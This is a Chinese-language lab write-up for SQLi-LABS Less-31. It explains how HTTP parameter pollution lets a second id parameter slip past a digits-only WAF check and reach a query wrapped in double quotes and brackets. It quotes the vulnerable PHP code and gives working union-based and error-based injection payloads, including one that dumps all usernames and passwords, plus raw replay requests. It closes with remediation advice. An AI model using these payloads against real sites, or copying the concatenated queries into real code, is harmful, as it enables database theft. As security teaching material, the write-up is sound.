Less-31 审计报告:HTTP 参数污染(HPP)绕过 WAF 白名单(双引号+括号)
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-31 FUN with WAF |
| 源码路径 | Less-31/login.php(WAF 入口,注入点)、Less-31/index.php(无过滤) |
| 漏洞类型 | SQL 注入 – 报错/联合注入,HPP 绕过 WAF 数字白名单,双引号+括号闭合 |
| 注入点参数 | GET /Less-31/login.php?id=(重复 id 参数) |
| 报错/盲注 | 报错回显(login.php 第 53 行,index.php 第 45 行) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件一:Less-31/login.php(带 WAF 的注入点)
// 第 17 行:关闭 PHP 警告
error_reporting(0);
// 第 22~25 行:两个不同的取值方式
$qs = $_SERVER['QUERY_STRING']; // 原始查询字符串
$hint=$qs;
$id1=java_implimentation($qs); // 取"第一个" id 值
$id=$_GET['id']; // PHP 取"最后一个" id 值
// 第 27 行:仅校验第一个 id
whitelist($id1);
// 第 28 行:双引号包裹
$id = '"' .$id. '"';
// 第 39 行:括号 + 双引号拼接,SQL 使用 $id(最后一个 id,未过滤)
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
// 第 53 行:报错回显
print_r(mysql_error());
// 第 69~82 行:白名单 —— 只允许纯数字
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match) { }
else { header('Location: hacked.php'); }
}
// 第 87~106 行:模拟 Java 容器取"第一个" id 值
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id") {
$id_value=substr($value,3,30);
return $id_value;
}
}
}
文件二:Less-31/index.php(无 WAF)
// 第 20 行:直接取参数,无任何过滤
$id=$_GET['id'];
// 第 28 行:双引号包裹
$id = '"'.$id.'"';
// 第 31 行:括号 + 双引号拼接
$sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";
// 第 45 行:报错回显
print_r(mysql_error());
3. 漏洞分析
- WAF 机制:同 Less-29/30,
whitelist()仅校验第一个id(/^\d+$/),$_GET['id']取最后一个id进入 SQL——校验值 ≠ 使用值。 - 闭合方式:
WHERE id=($id),其中$id = '"' .$id. '"',即WHERE id=("<payload>")。payload 以1")闭合("与括号,-- -注释尾部。 - HPP 利用:
?id=1&id=<payload>第一个id=1过白名单,第二个进入 SQL。 - 报错回显:login.php 第 53 行、index.php 第 45 行均有
mysql_error(),可报错注入;UNION 结果亦直接显示。
4. 利用方式
步骤一:确认 HPP 生效(login.php)
?id=1&id=2→ 正常显示 id=2 用户信息。
步骤二:联合注入(HPP 绕过 + 双引号/括号闭合)
?id=1&id=1") union select 1,2,database()-- -
拼接后:
SELECT * FROM users WHERE id=("1") union select 1,2,database()-- -") LIMIT 0,1
- 结果显示
Your Login name:2、Your Password:security。
步骤三:报错注入
?id=1&id=1") and extractvalue(1,concat(0x7e,database()))-- -
回显 XPATH syntax error: '~security'。
步骤四:直接访问 index.php(无 WAF)
?/Less-31/index.php?id=-1") union select 1,2,group_concat(username,0x3a,password) from users-- -
5. Yakit 重放数据包
GET /sqli-labs/Less-31/login.php?id=1&id=1")%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
报错注入报文:
GET /sqli-labs/Less-31/login.php?id=1&id=1")%20and%20extractvalue(1,concat(0x7e,database()))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
关键:必须同时存在两个
id参数,第一个纯数字通过 WAF,第二个为 payload。"、)在 query string 中可直接发送。
6. 修复建议
修复一:PDO 预处理
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();
修复二:统一取值 + 白名单
<?php
// 1) 统一取最后一个 id 并强校验
$id = $_GET['id'];
if (!preg_match('/^\d+$/', $id)) {
header('Location: hacked.php'); exit;
}
// 2) 参数化
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
修复三:加固要点
- 统一 WAF 与后端对重复参数的处理规则;重复参数直接拒绝;
- 关闭
mysql_error()回显;数据库最小权限; - 升级 PHP 7+ / 8+,移除
mysql_*。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysql扩展。 - 本关相比 Less-30 的区别:模板为
id=($id),payload 闭合1")。
正文完